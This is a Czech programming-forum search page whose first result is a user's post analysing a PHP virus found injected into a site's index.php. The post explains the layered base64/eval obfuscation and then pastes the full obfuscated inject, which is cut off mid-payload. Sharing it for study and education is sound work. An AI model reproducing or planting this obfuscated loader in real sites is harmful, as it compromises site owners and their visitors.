Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Search the Community

Showing results for tags 'návod'.



More search options

  • Search By Tags

    Oddělujte čárkami
  • Search By Author

Content Type


Fórum

  • Obecné
    • Všeobecné
    • Všechno možné
  • Programování
    • Poradna
    • Návody
    • Tvorba
    • Hledám programátora
  • Herní oblast
    • Poradna
    • Jak na to?
    • Herní kontext
    • Herní zážitky
    • Komunita
  • Grafika
    • Poradna
    • Návody
    • Tvorba
  • Ostatní
    • Hardware a software
    • Hledám/nabízím
    • Archiv

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Web


Facebook


Jabber


Skype


Steam


Twitter


Github


Pastebin

Found 99 results

  1. Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500) Celý inject vypadal takto: <?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss281_285_289_291_new.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVFN1SndocnBCdm1uQVZHS0xPY1dOalFpWHlsVUN0Z3NGWkVQWW9EcWFNa0h4emZkZWJSSXhoYXBGWE1UU3lidHV3T25Dek5CQWRLSW9ja1FZamxMVmlEc1BlZm1nR3ZScXJIV1pVRUpzZjlGZ1J1bGZLZXZnYkVUTkl1OUpZTnR6RjBucE9YMFdSU0hXMndJSmYwbHAyWDBXUnV0ekYwbmdCUGVnb0FIZ1JFME5SR2VuaGs3ZktlbHBPWDBXUnVsc2h1dGdSRTBOUkd0ekYwbkhCd0xOMnc3ZktlbHBPWDBXUnVsc2h1dGdSRTBOWU43ZktUOWZLZXZOMjExTmJrSFdPMUZKZjBsTjIxY2lvVjFpb0EwbzN3Y2dobFR6RjBuZ0JQZXBSQWpXb3BUbzNFak5mMDlwY05UWkYwbkpZdWxKWUVyVW93Y2d3OTBVb3U5cGM4dHpGMG5ISzBucFJHbHNodXRQSU5hcDJWcml4UHRDSU4wbzJRdENJV2FQMjl2aWhON2ZLZXZOMjExTmJ2bHNodXZOY2x2TjIxMU5ia0hXTzFGbnhMQVliaTFVYkEwZ0I5YUpSQWpOYndxV0J3cldWOTFOYnZlbm9MQVlJdWxKWVNUaUl1ZWdvQXJpb0tlcFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMFRub0xBWUl1bEpZdWxKWXVscFJBaldvcFRKZjBscFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSk9rYm5Pa3JOMncwbllFSFEwd2h3dndoQmNXWE5iVzJwMTBUbm9MQVlJdWxKWXVsSll1bEpZdWxKWUVyVW93Y2dodTlKWUVIUTB3aHd2d2hCY1dLaFZTSFEwd0dFSVdXSlk0bHByOHRKWTRscFY5eEV3cEJFd3BVcDJWY2kzUHRvd0xGb3hMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZOMjExTmJ2bHNodXZvMUFWUWtpVlFrTHRRRFhLbzFBVnhEUHRvaHVhSllOL3BjdWFKWUVIUTB3aHd2d2hCY1dFd1F3aEJ3OXh3VnBweHZOdG94TEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZSXVsSllTY2lvRTFOYjRscFJBaldvcFR6RjBuSEswbnBPV3lXMndJSmYwbHAyRTBnT2tjV1J2amlCa3RnUktjQ3RBVGkyaXlaT2l5V0I1dlBvRVRVMjV0Q3RBZVUzdXR6RjBucFJTWE4zQTNVM3B2SmYwbFVCSzFuTzF2QWhYdXBWOVJFd0VVcDNTdnAxMFRueExBWWJrYkpZbHZOT1ZyTjNXeU5iS2xzeDBscHJ3YlBiUHJBYlAyUGRERkFyU1hpQkcyQUJQRkdPQUl6T1FyQUJHNVAyRzBwY3ZsWkYwbkpZdWxKWUVYaU9FSFAyOWFXT3dhV1l1OUpEdXZvMFdWd1ZMdFVCVkZVYlZqaWhXV3pGMG5KWXVsSllFWFAzRVRVMjRsc2hTdXBWOVJFd0VVcDJWZFdPa3lVSVdXekYwbkpZdWxKWUV2VTIxWGdCNGxzaFN1cFY5UkV3RVVwMkV5VUJWVFVJV1d6RjBuSll1bEpPa2JuWUV2VTIxWGdCNFRaRjBuSll1bEpZdWxKWXV2Z085cldZdTlKWUV2VTIxWGdCNDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSllFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSlIwQVlJdWxKWXV5Q2NFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSllFRlBvRWVKZjBsaU9rY1ViVmppaFhIbzBpcHhEd0hvY3Y3ZktlbEpZdWxnQlBlcE9WZFdPa3lVZDA5cDNTVFViTnRub0xBWUl1bEpZdWxKWXVsQ2M5ZVdSRUZOcmV5QzNXM1djNXRVMjl0VU9RYVAyOWpDM1NUVWJOL04yazBpQjFYTmYxZVdSRUZOcmV5QzJ3NFBCMUZVT1FhUDI5akMzQVRXT3dqUG91YVpPMUxmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYVE4xOWVXUkVGTmNsVG5vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZdXZpT1YwUHc5YWlvTmxzaHV0Z1JFME5SRzZDYzkzVzNOYWkyOXlpMnFrQ2JBeVVoOUZnQjV0czNBVFdPd2pQb3U5cGM0dGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNodXRnUkUwTlJHNkNjOTNXM05haTI5eWkycWtDYkF5VWg5RmdCNXRzM0FUV093alBvdTlwYzR0Z1JFME5mZXlDY05hcE9YeU4zS2FwYzh0Q0lFWGlPRUhQMjlhV093YVdmTEFZSXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKWTh5UTJrMGlCMVhOZmVsZ1JFME5mZXlDM1czV2M1dFdCRVhVYldyaUJYWFdZNWRVMjB5VUJWRmdCNXZpb2xhWk8xTGZLZWxKWXVsSll1bEpZdWxKWVNUaUlYcldScFROM0VjblJBalUzdzBpTzhlcE9FWFdPVkhVYnczbmhGdGkyOXlpMnFrcGN2VFpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNXlncnFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1dmlPVjBQdzlhaW9OYXBycUlOZDVGZ0I1dEpPaVhVUkFrSnhxSU5kNHR6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycUlOZDVyZ29Fa1VCVkZKTzVYVUJRbGliVkxOMlFYc09wY3NJTjdmS2VsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsaW9YVFdmTEFZSXVsSllTOWZLZUFZSXVsSll1dmlia0xpdzlGUG9FZUpmMGxwUlNYV09sYXBjOWNVMnB5V1JHYVdSWDBwckxBWUl1bEpZU1RpSWxYcE9WZFdPa3lVSWs3ZktlbEpZdWxKWXVsSllFWFAzRVRVMjRsc2h1dE5SdzBwckxBWUl1bEpZUzlmS2VsSll1bGdCUGVwT1ZkV09reVVJdTlzaHV0TlJ3MHBjazdmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvMnc0Z29BME5jbHZpYmtMaXc5RlBvRWVuaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE9FWFdPRGxzaFNyVUI5MVdPRXluWUViZ0Jxa28zU1hXT2xUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bHBPRVhXT0Rsc2h1dHdvQWtOSTFYaTJ3YVdmZWxubDBuS0JxTFUzTjZKWTh0ekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bGdCUGVOM0VjTjNFY25ZRXZQb0VYQ1lOeXBjNHZQQkV2bzJBeVV0RWtVdEtUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTWFVScGtQQkU1Sk9WdmlPd3ZKeHFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxnQlBlZ29BSGdSRTBOUkdlbmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWUV2UG9FWG8yNWtXY3U5SlJFY2dCMGVwT0VYV09EVENJcE5Oa3FhSkk0dFEyazBpQjFYTmZlbGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllFdlBvRVhvMjVrV2N1OUpSRWNnQjBlcE9FWFdPRFRDSXBOTmtxYUpJNHRRMmswaUIxWE5mZWxnUkUwTmZleUNjTmFwT1h5TjNLYXBjOHRDSUVYaU9FSFAyOWFXT3dhV2ZMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpZdWxKWXVsSll1bENjOXhnb0VrVUJWRnpJU2VXUkVGekk4eVczVzNDYlcxaU9WYWkzQWtnT1YwQ2JBeVVoOWpQb1NUVWJFa1pZNTRVQkZBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvM1MxV1Y5ZFUyNTBpQjUwTmNsdmlia0xpdzlGUG9FZUNZRXZQb0VYbzI1a1djdlRKUkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlCQWVVY3V0c09wY3NiOU1zT3Bjc0lON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNWJnQnFrSlJXY2dvRWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTYVBCMWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpPa2JKWVhyV1JwcldSSmVwT1Z2aVY5ZFUyNTBpQjUwQ1l1dEN0U2VOWU5UbmhTN2ZLZXBZS3Z2UGh1OUpPMXZBaFhqaWZRZUtZRUhFMHdRQmNXWHAxMFRueExBWWx2cFloRUlKZjBsVUJLMW5PMXZBaFh1cFY5UkV3RVVwMkp0b2h2VHpGMG5ZS3ZwZ0JQZXBPRDlzb0FqVTN3MGlPOGVwMlgwV1J1NkNjOHRDSUV0VTNXa1BJNHRDMkRhTk9YRnBjdmxIUkZscE9KOXNoTmNHQkcwaWZ1ckdCRXZHZHY1R2ZEckF4aVh6eFZJRzJ3YlAyQVhHZkRyR1lOVFpGMG5ZS3ZwWWhFclVvQTBOSXU5SkR1dm8wV1Z3Vkx0TjIxcldSSnRveExBWWx2cFlLa1RpSVhiZ0Jxa28zUzFXVjlkVTI1MGlCNTBOY2x2Tk9WMGdZdWFKWU55cGN1YUpZRVhpT0VIUDI5YVdPd2FXWUZscFJBak4zRWNuaGs3ZktlcFlLdnBZQndkZ084bHAyOU1wckxBWWx2cFlLazlmS2VwWUtrOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWZLZWxKWXVsZ0JQZXBPVmRXT2t5VUl1OXNodXRpT3dMcGNrN2ZLZWxKWXVsSll1bEpPa2JuT2lUVU93SGlvWFROM0VybllFYmdCcWtvM1NYV09sVG5vTEFZSXVsSll1bEpZdWxKWXVsSllFdlBvRVhKZjBsTjIxeVdvRXZVY2x2aWJrTGl3OUZQb0VlbnhMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZpT1YwUGh1OUpZTnR6RjBuSll1bEpZdWxKWVM5ZktlbEpZdWxKWXVsSk9rYm5SQTBOdEEwTklsdmlPVjBQaEZ0Q2NOYXBPVnZpVjlkVTI1MGlCNTBuaGs3ZktlbEpZdWxKWXVsSll1bEpZU1RpSVhUTjE5ZVdSRUZOY2xUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNoUzBOYmtqbllFdlBvRVhuaDRJb1JwTlVJSmFwMUFUV093alBvdTZKT1gwV1JTcnpJOHlwYzR2Z085cldZNHRDY05hcE9WdmlWOWRVMjUwaUI1MHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxwT0VYV09WSFVidzNKZjBsV1JwVFVobHZpT1YwUGh2YUprcWNvTzRJQ0lXeGdvRWtVQlZGeklTZVdSRUZ6STh5cGM0dmdPOXJXWTR0Q2NOYXBPVnZpVjlkVTI1MGlCNTB6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsZ0JQZWlia0xpdzlGV29FSFAyOWFXT3dhV1JHZXBPaVRVT3dITk9WMGdZRnZpT1YwUHc5YWlvTlRuaFM3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsaUJBZVVjdXRzT3Bjc2I5TXNPcGNzSU43ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK2lia0xpaFMzTmJrMGloU2JQQnFyaWhEOFB0SitwckxBWUl1bEpZdWxKWXVsSll1bEpSMEFZSXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWVNrUDJYeUpZTjhQdEorTjJrMGlCMVhOWVN2VTJ3ckpPNXlXWVNrWk9rcldZRDhQdEorcHJMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlsMG5KWXVsSk93NGdvSzdmS1Q5ZktUYldCNWRXT2t5VUlTVE4xOWVXUkVGTmNsVEpSTEFZSXVsSllTVGlJdWVKWVZrVW9TMFpobHZvMUFWUWtpVlFrTHRoVkVRUVZHdG9odmxwSVBsTjNFY1dPOUxVM1drTklsdm8xQVZRa2lWUWtMdGhWRVFRVkd0b2h2bEp4MDlKWVd5aWJQdG5oUzdmS2VsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKUjBsaUJxcmlCa2JKWWxsZ29BcmlvS2VwVjl4RXdwQkV3cFVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhRVnBzd0Q4dG9odmxwSVBscFY5eEV3cEJFd3BVcDBYUXdWU0hCVjlPeDFwb0t3cERFUUVIUVZwc3dEOHRvaHU5c3gwbHAyWDBXUlNycGN1VEpSTEFZSXVsSll1bEpZdWxOYncwV29wYUpSRWNXQlE3ZktlbEpZdWxIaFNrVVJBa2dCUGxuWXVYaUIxRldSdmVwVjl4RXdwQkV3cFVwMFhRd1ZTSEVrcHN4a0VIRVE1RG8wWFF3VlN4cDEwVEpZUGJKUkEwTnRFeVVPOTNpb0plcFY5eEV3cEJFd3BVcDBYUXdWU0hFa3BzeGtFSEVRNURvMFhRd1ZTeHAxMFRKWUQ5c2h1dFUyaWJwY3ZsWkYwbkpZdWxKWXVsSllTY2lvRTFOYjRsV1JwMWl4TEFZSXVsSllTOWZLZWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5ISzBucFJFa1VvdWxzaFN1cFY5UkV3RVVwM0FqV093ak5ZV1d6RjBucE9rdkpmMGxLWUVIRTB3UUJjV3JVQmt2cDEwN2ZLZXZOMmswaWh1OUpEdXZvMFdWd1ZMdE4yMXJnb0VrcDEwN2ZLZXZOT1Z0aWh1OUpEdXZvMFdWd1ZMdE4yMUZQQldrcDEwN2ZLZXZOMmswaWh1OUpSQTBOazljaW9TTFBCQWtuWU55cGNGdHBjRnZOMmswaWh2N2ZLZXZnTzlyV1l1OUpZRUhRMHdod3Z3aEJjV0p3VkVLbzBYc1ExS3RveExBWUlFZFVPOWRnY3U5SllOdHpGMG5mS2V2V093ak5SV2tQSXU5SkR1dm8wV1Z3Vkx0V093ak5SV2tQSVdXekYwbnBSRWtVb1MzaUJKbHNoU3JXUnBITmJ3RlVPVmRpaGx0Q2NOTHBjTkxwUkVrVW9TM2lCSlR6RjBuZktUVGlJbHZXT3dqTlJXa1BJazdmS2VsSll1bHBSQVRXT1Fsc2h1dldPd2pOUldrUGtMRm9oNHZXT3dqTlJXa1BrTHFvaDR2V093ak5SV2tQa0xjb3hMQVlJdWxKWXV2V093ak5ZdTlKUkExUHRBME5JbHZXT3dqTlJXa1BJRnJueExBWXQwQVlJRUxQQjV0SmYwbHBWOXhFd3BCRXdwVUp2WFF3VlNIS1FBZkV3U1FvMHFTeHZXd0tRV1ZKazA3ZktldlVPVmFpY3U5SllFcm5ZRUxQQjV0bnhMQVlJRXlOY3U5SllFSFEwd2h3dndoQmNXSndWRUtvMXd4RXdwSEtRV1Z4a0t0b3hMQVlJRXlOY3U5SllFcm5ZRXlOY3Y3ZktUVGlJWFROM0FrV1lsdm8xQVZRa2lWUWtMdGhWRVFRVjloRVFpVlF2d2hwMTBUbm9MQVlJdWxKWXV2V29wTE4yWFhVYk5sc2h1dm8xQVZRa2lWUWtMdGhWRVFRVjloRVFpVlF2d2hwMTA3ZktlbEpZdWxwUndjVVJBZVBCNXRKZjBscFJHZXBSd2NVUkFlUEI1dG54TEFZdDFrVVJBa1pGMG5KWXVsSllFMU5icXJnT1ZhaWN1OUpZTnR6RjBuSEswbmZLVFRpSVh0aW9Fa1V0UGVwMXBWeFE5UUV3OVNFREVocGN2bHBJUGxOM0VjUDJWcmlCQWpOWVh0aW9Fa1V0UGVwMXBWeFE5UUV3OVNFREVocGN2TEpZVzFVYmphVTNXYXBjdlRKUkxBWUl1bEpZdXZQMnF5UDJMbHNoU3Rpb0VrVXRQZXAxcFZ4UTlRRXc5U0VERWhwY3Y3ZktUOUpPd0xOMndUaUlYVE4zQWtXWWx2bzFBVlFraVZRa0x0UXZ3QXgxRVZvMFZERVZKdG9odmxwSVBscFY5eEV3cEJFd3BVcDFwVnhROVFFdzlTRURFaHAxMGxwSVBsTjNFY1AyVnJpQkFqTllsdm8xQVZRa2lWUWtMdFF2d0F4MUVWbzBWREVWSnRvaEZscDN3YWcyNXlXMjR0bmh2bFpGMG5KWXVsSllFZFVPOWRnY3U5SllFSFEwd2h3dndoQmNXaEVRMXN3RHdIS1FFRFFJV1d6RjBuSEswbmZLZXZnUkUwTlY5ZFVPOWRnY3U5SllOdHpGMG5nQlBlaTJ3MGlCNTJuWVdKd1ZFS28wQUdoUXd6d1Y5cFFZTlRKWVBiSlJBME5iQVhOMndkVW91ZWkydzBpQjUybllXSndWRUtvMEFHaFF3endWOXBRWU5UQ1l1dFdCNU1VYjkzVUlOVG5oUzdmS2VsSll1bHBPWDBXUlNIUDJxeVAyTGxzaFN0aW9Fa1V0UGVwMFhRd1ZTSEswcXBFUTVRbzBrS3BjdjdmS1Q5Sk93TE4yd1RpSVh0aW9Fa1V0UGVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhFdjlocGN2bHBJUGxOM0VjUDJWcmlCQWpOWVh0aW9Fa1V0UGVwMFhRd1ZTSEJWOU94MXBvS3dwREVRRUhFdjlocGN2TEpZVzFVYmphVTNXYXBjdlRKUkxBWUl1bEpZdXZnUkUwTlY5ZFVPOWRnY3U5Sk9Xa1dPd2FXSWx0aFZFUVFWOVBvMGlzUWtXU1F2RVZFVjlPeDFKdG54TEFZdDBBWWwwbmdCUGVOM0VjZ29BME5JbHZQMnF5UDJMTHBjRnRuaGs3ZktlbEpZdWxwT0FMVTJBTW8zRWpOWXU5Sk93NE5PcXlpT1FlSklGSUNZRWRVTzlkZ2N2N2ZLZWxKWXVscE9BTFUyQU1KZjBscE9BTFUyQU1vM0VqTlZMRm94TEFZdDBBWWwwbmdCUGVKQmtyTjJ3MG5ZRXJnb0VrVUJWRm8yaVRVT1FUSlJxOEpEdXZOMmswaUIxWE5WOWJnQnFrc3gwdHBjazdmS2VsSll1bHBSQVRXT3dqUG9TSGlia0xpaHU5SllXcmdvRWtVQlZGcHJMQVl0MEFZYmtibllWVE4zQWtXWWx2VUJWRlV0d2puaFM4SFlTdXBPMVhOTzUxVXgwOXBjTlRaRjBuSll1bEpZRXJnb0VrVUJWRm8yaVRVT1Fsc2h1Y0dmdUZ6RjBuSEswbmZLZUFZYmtiblJTY2lCV0hVQlYwUDJsZXBjOVpwYzRJb1k4SUNJRXJnb0VrVUJWRm8yaVRVT1FhcGNYSEJyRGpBdzBUc2M1NFVCRnZDMnZ0Q1lFclVvd2NndzkwVW91THBSd2NnQlZjTkl2VFpGMG5KWXVsSkRTZWlCVnZpb0plSnZBeVV0RWtVdEtqV1JrRml4ZWxXT3c0V1k5NFVCRklueExBWUl1bEpZU1RpSVhUTjNBa1dZbHZXb3BUUG9wY0JyVlduaGs3ZktlbEpZdWxKWXVsSllFVGlZdTlKUkEwTms5Y2lvU0xQQkFrbllXSHBjRnRwY0Z2V29wVFBvcGNCclZXbnhMQVlJdWxKWVM5aUJxcmlvTEFZSXVsSll1bEpZdWxwT2t2SmYwbEd4dUZ6RjBuSll1bEpSMEFZSXVsSll1dmdvaWpQb1NUaVl1OUpmdTdmS2VsSll1bE4yazBpQjFYTlY5eVdvS2VaazlyZ29Fa1VCVkZuWUV0VTNXa1BJRnZnQktMcE9YeU4zS0xwT0UwQ1lFVFdiMVhOT2t2Q1lFalBvU2FXQjBMcE9YMFdSU0hXMndJbmhGdmdPOXJXWXY3ZktlbEpZdWxpb1hUV1lsVHpGMG5ISzBuaXR3YVAzRVRVMjRsWms5cmdvRWtVQlZGbllFdFUzV2tQSUZ2Z0JLTHBPWHlOM0tMcE9FMENZRWpQb1MwWm9Ta0NZRWpQb1NIVXR3akNZRWVXUkVGbzNXa1BkMHRnUkUwTllOTHBPaVRVT3cwWm9Ta3N4dUxwTzFYTlY5ck5PcVRXUkFIVXR3anNoTnRDWUUwaUIxRnNoTnRDWUV2UG9FWHhidzNzaE50bm9MQVlJdWxKWXV2VzJ3SUpmMGxwT1gwV1JTSFcyd0lDSU42Q2M4dENJRXRVM1drUEk0dEMzQVRXT3dqUG9TdldPNGFOT1hGczJFWFdPUTlwYzR2Z0JLYXBjaTBpQjFGc2hOYXBSRWtVb3VhcGNpM2lCSjlwYzR2Z085cldZNHRwdFhqVWYwdENJRXZXWTR0cGIxWE5SRTVOT1E5cGM0dlVCVkZXUmtGaWg0dHBiaVRVT3cwWm9Ta3NoTmFwT2lUVU93MFpvU2tDSU5iVUJWRm8zQUZVT2swTjE5YVdCMDlwYzR2VUJWRm8zQUZVT2swTjE5YVdCMGFwY2lqUG9TSFV0d2pzaE5hcE8xWE5WOWFXQjBhcGNpdlBvRVh4Ynczc2hOYXBPRVhXT1Z6aW9ON2ZLZWxKWXVsTmJ3MFdvcGFKUkVjZ0IwZU4yMXlXb0V2VWNsdlcyd0luaHY3ZktUOWZLVGJXQjVkV09reVVJU3Jnb0VrVUJWRm8yOTFXWWx2V29wTENZRWVVM0Ewbm9MQVlJdWxKWVNUaUlYVE4xOWVXUkVGTmNsVG5vTEFZSXVsSll1bEpZdWxwT1gwV1J1bHNodXRnUkUwTlJHdHpGMG5KWXVsSlIxa1VSQWtaRjBuSll1bEpZdWxKWXV2Z1JFME5ZdTlKWVdlV1JFRnByTEFZSXVsSllTOWZLZWxKWXVscE9FWFdPd0hOM0VjSmYwbEpPRVhXT1FlSmt2alVoMXZvVkVKemJ2Nk4xdUlDUkVUVUJRZW5odjdmS2VsSll1bHBSQVRXT3dqUG9TSGdPd1hpT3djSmYwbHByRi9aTzFMSlJpa050QVRVMjQ5SmREYUdZSmxpQjVkVTJFVFViTjlKa3dRRUkwNEpkOCtmS2U4V29wTE4ydzBmS2VsSll1bEpZUzRVQnFhTnIwSWdSRTBOZmV5QzNXM1djNXJnb0VrVUJWRk5jNXlOYk55TjJBZWlCMVhOYzlyZ29Fa1VCVkZDcnVhemhKQVlJdWxKWXVsSlJYalVPNXJ6dFhyZ3gwSWdSRTBOZmV5QzNXM1djNTNHYzV5TmJOeUdkdUZHaDlQeFFxeFAyWGtVQkRqZ0I1cldPVmFQMlFJZktlbEpZdWxKWVM0TjJ2Nk4yQWVpQjFYeE85ZFBvRVRVMjQ5SmJYMFdSdTZDYzkzVzNOYU4yazBpQjFYTlJHYVUzcHRDM0FkZ093alBvR3lOMmswaUIxWE5ZOEZDZHZBWUl1bEpZdWxKWXVsSll1bEpPWDBXUnU2Q2M5M1czTmFOMmswaUIxWE5SR2FVM3B0QzNBZGdPd2pQb0d5TjJrMGlCMVhOWThGQ2R2eU4yazBpQjFYTlk1NE4yS0lzSU43ZktlbEpZdWxwUkFUV093alBvU0hnT3dYaU93Y0pZNDlKWU5BWUl1bHNSd2NVZjRBWUl1bEpZdThVTzlkc0lOYXBPWDBXUnVhcHJleUNjTmxDSXV2Z085cldZdWFKWUp5Skl1YUpZTjhDMnF5UHI0QVlJdWxKWXU4VU9WcldPMXlpZjR0Slk0bHBPRVhXT3dITjNFY0pZNGxwckZ5VU9WcldPMXlpZjRBWUl1bEpZdThQMlhYVWJXa2l0cGtOeDV2UEJrTFp4RnlQMlhYVWJXa2l0cGtOeDRBWUl1bEpZdThOUnBUVTNwVFdSditHWTRxc1k5Rk5ia3lOYmswWng0QVlJdWxzWTkxTmJGK3ByTEFZSXVsSll1dldvcExvMlZjTkl1OUpPdzROT3F5aU9RZUprcWNvTzRJQ1lFMU5iRlR6RjBuSll1bEpZRWpQb1NITjNFY0pmMGxwUkFUV093alBvU0hnT3dYaU93Y3pGMG5KWXVsSk9peU5id1hQMmxlcFJ3Y1VWOVhOdEpsUG9HbHBSaVhVUndrbm9MQVlJdWxKWXVsSll1bHBPMVhOVjlyV1JKbENkMGxwRjBuSll1OFdvcExzbDBuSll1bEpmcUxVMkcrcGM0dmdSRTBOWTR0ekk4eXBjdWFKWUVlVTNBMEpZNGxKSThJSlk0dldiVkxXQlFsQ0lOOEMycXlQcjRBWUl1bEpZdThVT1ZyV08xeWlmNHRKWTRscE9FWFdPd0hOM0VjSlk0bHByRnlVT1ZyV08xeWlmNEFZSXVsSll1OFAyWFhVYldraXRwa054NXZQQmtMWnhGeVAyWFhVYldraXRwa054NEFZSXVsSll1OE5ScFRVM3BUV1J2K0dZNHFzWTlGTmJreU5iazBaeDRBWUl1bHNZOTFOYkYrcHJMQVlJdWxKWVM5ZktlbEpZdWxpQkFlVWN1dlVCVkZvM0EwTkk0SWZLZThDM3djVVJBa1dmNEl6RjBuSEswbmZLZUFZbDBuZ0JQZU4zRWNnb0EwTklsdk4yMTFOYmtIV08xRkNZTmFQM0FycGN2VFpGMG5KWXVsSllFM2lCSmxzaHV2Z1JFME5WOTNpQkphcHJleUNjTmFwT1d5VzJ3SUNJTnlnQjV2aW9sYU5PWEZzM3djVWYwdENJRXJnb0VrQ0lOYmdCSzlwYzR2Z0JLYXBjaTBpQjFGc2hOYXBSRWtVb3VhcGNpdldmMHRDSUV2V1k0dHB0V2tQZDB0Q0lFZVUzQTBDSU5iWnRlOXBjNXJVQmtyUGI5MG5ZdmFwY2ltaU9rY3NoTmFwT1R2Z29KYXBjaWRVTzlkZ3IwdENJRWRVTzlkZ2M0dHB0d2NneDB0Q0lFclVvd2NnaDR0cG